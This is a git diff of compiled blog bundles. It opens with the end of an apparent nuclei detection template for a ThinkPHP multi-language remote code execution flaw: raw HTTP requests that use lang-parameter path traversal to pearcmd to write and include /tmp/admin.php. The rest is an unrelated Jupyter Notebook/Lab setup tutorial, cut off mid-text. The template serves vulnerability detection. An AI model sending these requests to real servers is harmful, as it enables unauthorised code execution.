/index.php?+config-create+/&lang=../../../../../../../../../usr/local/lib/php/pearcmd&/+/tmp/admin.php HTTP/1.1\n Host: {{Hostname}}\n Cache-Control: max-age=0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n Accept-Encoding: gzip, deflate\n Accept-Language: zh-CN,zh;q=0.9\n Connection: close\n\n - |+\n GET /index.php?lang=../../../../../../../../tmp/admin HTTP/1.1\n Host: {{Hostname}}\n Cache-Control: max-age=0\n Upgrade-Insecure-Requests: 1\n User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36\n Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n Accept-Encoding: gzip, deflate\n Accept-Language: zh-CN,zh;q=0.9\n Connection: close\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - PHP Version\n - type: word\n part: body\n words:\n - '#PEAR_Config'\n - type: status\n status:\n - 200\n"})}),"\n",(0,h.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,h.jsx)(n.p,{children:(0,h.jsx)(n.a,{href:"https://tttang.com/archive/1865/#toc_thinkphp-5",children:"Thinkphp \u591a\u8bed\u8a00 RCE - \u8df3\u8df3\u7cd6"})})]})}function r(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,h.jsx)(n,{...e,children:(0,h.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/01348d43.e9e6fffe.js b/en/assets/js/01348d43.e9e6fffe.js new file mode 100644 index 0000000..21a28a4 --- /dev/null +++ b/en/assets/js/01348d43.e9e6fffe.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4156],{28453:(A,n,e)=>{e.d(n,{R:()=>r,x:()=>t});var s=e(96540);const i={},l=s.createContext(i);function r(A){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof A?A(n):{...n,...A}},[n,A])}function t(A){let n;return n=A.disableParentContext?"function"==typeof A.components?A.components(i):A.components||i:r(A.components),s.createElement(l.Provider,{value:n},A.children)}},29734:(A,n,e)=>{e.d(n,{A:()=>s});const s=e.p+"assets/images/image-20220805033034092-0c502f24c84bae0b238652a967fa9f16.png"},39705:(A,n,e)=>{e.d(n,{A:()=>s});const s="data:image/png;base64,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"},40426:(A,n,e)=>{e.r(n),e.d(n,{assets:()=>d,contentTitle:()=>t,default:()=>h,frontMatter:()=>r,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","title":"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/00.\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60"},"next":{"title":"\u7b2c\u4e00\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/"}}');var i=e(74848),l=e(28453);const r={},t="0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md",d={},c=[{value:"1 Jupyter Notebook/Lab\u5b89\u88c5",id:"1-jupyter-notebooklab\u5b89\u88c5",level:2},{value:"2 Jupyter Notebook/Lab\u914d\u7f6e",id:"2-jupyter-notebooklab\u914d\u7f6e",level:2},{value:"2.1 \u8bbe\u7f6e\u6587\u4ef6\u5b58\u653e\u4f4d\u7f6e",id:"21-\u8bbe\u7f6e\u6587\u4ef6\u5b58\u653e\u4f4d\u7f6e",level:3},{value:"2.2 \u4f7f\u7528\u865a\u62df\u73af\u5883",id:"22-\u4f7f\u7528\u865a\u62df\u73af\u5883",level:3},{value:"3 Jupyter Notebook\\Lab\u57fa\u672c\u64cd\u4f5c",id:"3-jupyter-notebooklab\u57fa\u672c\u64cd\u4f5c",level:2},{value:"3.1 \u57fa\u672c\u4f7f\u7528",id:"31-\u57fa\u672c\u4f7f\u7528",level:3},{value:"3.1.1 Jupyter Notebook",id:"311-jupyter-notebook",level:4},{value:"3.1.2 Jupyter Lab",id:"312-jupyter-lab",level:4},{value:"3.2 \u5e38\u7528\u5feb\u6377\u952e",id:"32-\u5e38\u7528\u5feb\u6377\u952e",level:3},{value:"3.3 \u5b89\u88c5\u63d2\u4ef6",id:"33-\u5b89\u88c5\u63d2\u4ef6",level:3},{value:"4 \u8fdb\u9636\u64cd\u4f5c",id:"4-\u8fdb\u9636\u64cd\u4f5c",level:2},{value:"5 \u53c2\u8003\u8d44\u6599",id:"5-\u53c2\u8003\u8d44\u6599",level:2}];function o(A){const n={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...A.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(n.header,{children:(0,i.jsx)(n.h1,{id:"04-jupyter\u76f8\u5173\u64cd\u4f5cmd",children:"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:07"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(n.h1,{id:"jupyter-notebooklab-\u7b80\u8ff0",children:"Jupyter notebook/Lab \u7b80\u8ff0"}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u6570\u636e\u79d1\u5b66\uff0c\u673a\u5668\u5b66\u4e60\uff0c\u6df1\u5ea6\u5b66\u4e60\u4e2d\uff0c\u6211\u4eec\u5e0c\u671b\u5373\u65f6\u8fdb\u884c\u56fe\u50cf\u7684\u53ef\u89c6\u5316\u548c\u51fd\u6570\u7684\u8ba1\u7b97\uff0c\u57fa\u4e8e\u8fd9\u79cd\u9700\u6c42\uff0c\u4eba\u4eec\u5f00\u53d1\u51fa\u4e86\u57fa\u4e8e\u7f51\u9875\u7684\u7528\u4e8e\u4ea4\u4e92\u8ba1\u7b97\u7684\u5e94\u7528\u7a0b\u5e8fJupyter Notebook\u3002\u5728\u6211\u4eec\u7684\u6559\u7a0b\u4ee3\u7801\u4e5f\u662f\u57fa\u4e8eJupyter notebook\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5b83\u4eec\u53ef\u88ab\u5e94\u7528\u4e8e\u5168\u8fc7\u7a0b\u8ba1\u7b97\uff1a\u5f00\u53d1\u3001\u6587\u6863\u7f16\u5199\u3001\u8fd0\u884c\u4ee3\u7801\u548c\u5c55\u793a\u7ed3\u679c\u3002\u5728Jupyter Notebook\u4e2d\u7f16\u5199\u7684\u6587\u6863\u4fdd\u5b58\u4e3a",(0,i.jsx)(n.code,{children:".ipynb"}),"\u7684",(0,i.jsx)(n.code,{children:"JSON"}),"\u683c\u5f0f\u6587\u4ef6\uff0c\u6587\u6863\u53ef\u4ee5\u5bfc\u51fa\u4e3aHTML\u3001LaTeX\u3001markdown\u3001PDF\u7b49\u683c\u5f0f\u3002Jupyter Notebook\u7684\u4e3b\u8981\u7279\u70b9\u6709\uff1a"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u7f16\u7a0b\u65f6\u5177\u6709",(0,i.jsx)(n.strong,{children:"\u8bed\u6cd5\u9ad8\u4eae"}),"\u3001",(0,i.jsx)(n.em,{children:"\u7f29\u8fdb"}),"\u3001",(0,i.jsx)(n.em,{children:"tab\u8865\u5168"}),"\u7684\u529f\u80fd\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u53ef\u76f4\u63a5\u901a\u8fc7\u6d4f\u89c8\u5668\u8fd0\u884c\u4ee3\u7801\uff0c\u540c\u65f6\u5728\u4ee3\u7801\u5757\u4e0b\u65b9\u5c55\u793a\u8fd0\u884c\u7ed3\u679c\u3002"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u4ee5\u5bcc\u5a92\u4f53\u683c\u5f0f\u5c55\u793a\u8ba1\u7b97\u7ed3\u679c\u3002\u5bcc\u5a92\u4f53\u683c\u5f0f\u5305\u62ec\uff1aHTML\uff0cLaTeX\uff0cPNG\uff0cSVG\u7b49\u3002"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5bf9\u4ee3\u7801\u7f16\u5199\u8bf4\u660e\u6587\u6863\u6216\u8bed\u53e5\u65f6\uff0c\u652f\u6301Markdown\u8bed\u6cd5\u3002"}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u652f\u6301\u4f7f\u7528LaTeX\u7f16\u5199\u6570\u5b66\u6027\u8bf4\u660e\u3002"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u597d\u7528\u7684Jupyter Notebook\u8fd8\u6709\u4e2a\u201c\u53cc\u80de\u80ce\u201d\u2014\u2014Jupyter Lab\u3002Jupyter Lab\u662f\u57fa\u4e8eWeb\u7684\u96c6\u6210\u5f00\u53d1\u73af\u5883\uff0c\u53ef\u4ee5\u628a\u5b83\u5f53\u4f5c\u8fdb\u5316\u7248\u7684Jupyter Notebook\u3002\u4f7f\u7528Jupyter Lab\u53ef\u4ee5\u540c\u65f6\u5728\u4e00\u4e2a\u6d4f\u89c8\u5668\u9875\u9762\u6253\u5f00\u7f16\u8f91\u591a\u4e2aNotebook\u3001Ipython console\u548cterminal\u7ec8\u7aef\uff0c\u751a\u81f3\u53ef\u4ee5\u4f7f\u7528Jupyter Lab\u8fde\u63a5Google Drive\u7b49\u670d\u52a1\u3002\u7531\u4e8eJupyter Lab\u62e5\u6709\u6a21\u5757\u5316\u7ed3\u6784\uff0c\u63d0\u4f9b\u66f4\u591a\u7c7b\u4f3cIDE\u7684\u4f53\u9a8c\uff0c\u5df2\u7ecf\u6709\u8d8a\u6765\u8d8a\u591a\u7684\u4eba\u4ece\u4f7f\u7528Jupyter Notebook\u8f6c\u5411\u4f7f\u7528Jupyter Lab\u3002"}),"\n",(0,i.jsx)(n.p,{children:"[* ]\u901a\u8fc7\u672c\u7ae0\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"\u5b89\u88c5\u548c\u914d\u7f6eJupyter Notebook\u548cJupyter Lab\u7684\u65b9\u6cd5"}),"\n",(0,i.jsx)(n.li,{children:"Jupyter Notebook\u7684\u57fa\u672c\u64cd\u4f5c\u548c\u5feb\u6377\u952e"}),"\n",(0,i.jsx)(n.li,{children:"\u4f7f\u7528Jupyter Notebook\u7f16\u5199\u4ee3\u7801\u7684\u65b9\u5f0f"}),"\n",(0,i.jsx)(n.li,{children:"\u4e86\u89e3Jupyter Notebook\u7684Bash\u547d\u4ee4\u548c\u9b54\u672f\u547d\u4ee4"}),"\n",(0,i.jsx)(n.li,{children:"\u4e3aJupyter Notebook\u5b89\u88c5\u62d3\u5c55\u63d2\u4ef6\u7684\u65b9\u6cd5"}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"1-jupyter-notebooklab\u5b89\u88c5",children:"1 Jupyter Notebook/Lab\u5b89\u88c5"}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5b89\u88c5Jupyter Notebook\uff1a\u6fc0\u6d3b\u865a\u62df\u73af\u5883\u540e\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5728\u7ec8\u7aef\u8f93\u5165\u6307\u4ee4"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"conda install jupyter notebook\n# pip install jupyter notebook\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u6ce8\uff1a\u5982\u679cpip\u7248\u672c\u8fc7\u4f4e\uff0c\u8fd8\u9700\u63d0\u524d\u8fd0\u884c\u66f4\u65b0pip\u7684\u6307\u4ee4"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"pip install --upgrade pip\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{start:"2",children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5b89\u88c5Jupyter Lab\uff1a\u6fc0\u6d3b\u73af\u5883\u540e\uff0c\u6211\u4eec\u540c\u6837\u4e5f\u53ea\u9700\u8981\u5728\u7ec8\u7aef\u8f93\u5165\u6307\u4ee4"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"conda install -c conda-forge jupyterlab\n# pip install jupyterlab\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5728\u7ec8\u7aef\u8f93\u5165\u6307\u4ee4\u6253\u5f00Jupyter Notebook"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter notebook # \u6253\u5f00Jupyter Notebook\njupyter lab # \u6253\u5f00Jupyter Lab\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u6d4f\u89c8\u5668\u6ca1\u6709\u81ea\u52a8\u6253\u5f00Jupyter Notebook\u6216\u8005Jupyter Lab\uff0c\u590d\u5236\u7aef\u53e3\u4fe1\u606f\u7c98\u8d34\u81f3\u6d4f\u89c8\u5668\u6253\u5f00"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20220812162810305",src:e(43972).A+"",width:"1329",height:"86"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u60f3\u8981\u81ea\u5b9a\u4e49\u7aef\u53e3\uff0c\u5728\u7ec8\u7aef\u8f93\u5165\u5982\u4e0b\u6307\u4ee4\u4fee\u6539"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter notebook --port \n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u5982\u679c\u60f3\u542f\u52a8\u670d\u52a1\u5668\u4f46\u4e0d\u6253\u5f00\u6d4f\u89c8\u5668\uff0c\u53ef\u4ee5\u5728\u7ec8\u7aef\u8f93\u5165"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter notebook --no-browser\n"})}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.h2,{id:"2-jupyter-notebooklab\u914d\u7f6e",children:"2 Jupyter Notebook/Lab\u914d\u7f6e"}),"\n",(0,i.jsx)(n.h3,{id:"21-\u8bbe\u7f6e\u6587\u4ef6\u5b58\u653e\u4f4d\u7f6e",children:"2.1 \u8bbe\u7f6e\u6587\u4ef6\u5b58\u653e\u4f4d\u7f6e"}),"\n",(0,i.jsx)(n.p,{children:"\u200b\t\u5728\u4f7f\u7528Jupyter Notebook/Jupyter Lab\u65f6\uff0c\u5982\u679c\u6211\u4eec\u60f3\u8981\u66f4\u6539\u9ed8\u8ba4\u6587\u4ef6\u5b58\u653e\u8def\u5f84\uff0c\u8be5\u600e\u4e48\u529e\uff1f"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:"Jupyter Notebook"}),"\n"]}),"\n",(0,i.jsxs)(n.ol,{children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u6211\u4eec\u9996\u5148\u9700\u8981\u67e5\u770b\u914d\u7f6e\u6587\u4ef6\uff0c\u53ea\u9700\u8981\u5728\u7ec8\u7aef\u8f93\u5165"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"jupyter notebook --generate-config\n"})}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsx)(n.p,{children:"\u6211\u4eec\u8bb0\u4f4f\u51fa\u73b0\u914d\u7f6e\u6587\u4ef6\u7684\u8def\u5f84\uff0c\u590d\u5236\u5230\u6587\u4ef6\u5939\u4e2d\u6253\u5f00\uff08\u7ec8\u7aef\u8fd9\u91cc\u53ef\u4ee5\u5199N\uff09"}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220716235510697.png",alt:"image-20220716235510697",style:{zoom:"50%"}}),"\n",(0,i.jsxs)(n.ol,{start:"4",children:["\n",(0,i.jsx)(n.li,{children:"\u5728\u6587\u4ef6\u5939\u4e2d\u53cc\u51fb\u6253\u5f00\u914d\u7f6e\u6587\u4ef6"}),"\n"]}),"\n",(0,i.jsx)(n.img,{src:"figures/image-20220716235540827.png",alt:"image-20220716235540827",style:{zoom:"50%"}}),"\n",(0,i.jsxs)(n.ol,{start:"5",children:["\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u6253\u5f00Python\u6587\u4ef6\u540e\uff0c\u7528",(0,i.jsx)(n.code,{children:"Ctrl+F"}),"\u5feb\u6377\u952e\u67e5\u627e\uff0c\u8f93\u5165\u5173\u952e\u8bcd\uff0c\u627e\u5230",(0,i.jsx)(n.code,{children:"# c.NotebookApp.notebook_dir = ''"})]}),"\n"]}),"\n",(0,i.jsxs)(n.li,{children:["\n",(0,i.jsxs)(n.p,{children:["\u53bb\u6389\u6ce8\u91ca\uff0c\u5e76\u586b\u5145\u8def\u5f84",(0,i.jsx)(n.code,{children:"c.NotebookApp.notebook_dir = 